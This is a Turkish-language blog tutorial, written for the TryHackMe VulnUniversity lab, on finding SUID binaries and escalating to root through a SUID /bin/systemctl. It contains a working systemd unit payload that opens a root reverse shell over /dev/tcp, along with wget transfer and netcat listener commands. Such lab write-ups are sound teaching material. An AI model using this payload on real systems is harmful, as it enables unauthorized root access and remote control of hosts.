SUID Ve Yetki Yükseltme

SUID Nedir?

SUID, geçiçi olarak programa/dosyaya dosya sahibi gibi çalıştırma yetkisi verir. Aşağıdaki ekran çıktısını yorumlayalım. İlgili çıktıda dosya sahibinin root ve dosya sahibinin grup değerinin root olduğu gözüküyor. Kullanıcı, Grup kullanıcıları ve Diğer kullanıcıların izinlerine baktığımızda W(yazma) yetkisi root kullanıcısında bulunmaktadır. Suid ise burda komut çalıştırıldığı zaman her kullanıcıya geçici olarak W yetkisi vererek shadow dosyasına yazma işlemi yapmasını sağlamaktadır.

Eğer böyle olmasaydı normal kullanıcılar şifrelerini değiştiremez olurdu.

Hatalı SUID ile Yetki yükseltme

Linux dağıtımlarında default olarak ya da hatalı Suid yapılandırmalar sonucunda zafiyetler ortaya çıkmaktadır. Bu zafiyetlerin sömürülmesi için hangi program ya da dosyada Suid değeri bulunduğu tespit etmemiz gerekir.

find / -user root -perm -4000 -print 2>/dev/null

find komutu ile yaptığımız sorguda en çok sömürülen ve bize iyi bir yetki verebilecek /bin/systemctl komutunu görüyoruz. Bunu kullanarak reverse root bash alımını sağlayacağız.

root.service isimli dosya oluşturulur ve aşağıda ki komutlar içeresine yapıştırılır.

nano root.service

Aşağıda ki payload ile reverse bash alabiliriz. Alacağımız reverse root yetkisinde olacaktır. İp adresi ve port sizin değerlerinize göre değiştirilmelidir.

[Unit]
Description=roooooooooot

[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.12/4444 0>&1'

[Install]
WantedBy=multi-user.target

Oluşturduğumuz dosyayı SimpleHTTPServer ile aktarımını sağlayabilir ya da netcat ile aktarımını sağlayabiliriz. Dosyanın bulunduğu dizinde SimpleHTTPServer şu şekilde açılır.

python -m SimpleHTTPServer 80

Ek bir yetkili kullanıcı olmadığımız için tmp dizine gidilip dosya orda indirilmelidir.

cd /tmp

Hedef sistem üzerinden wget komutu ile dosyayı almak

wget http://10.8.233.100/root.service

İlgili komut sonrası dosya indirilecektir.

root.service çalıştırmak

/bin/systemctl enable /tmp/root.service
/bin/systemctl start root

Yukarıda komutlar çalıştırıldıktan sonra bağlantı alınacaktır. Gelen reverse bağlantıyı dinlemek için netcat kullanılır.

nc -lvpn 4444

İlgili zafiyet sömürme uygulaması tryhackme platformu üzerinde VulnUniversity makinesinde yapılmıştır.

Leave a Reply

Your email address will not be published.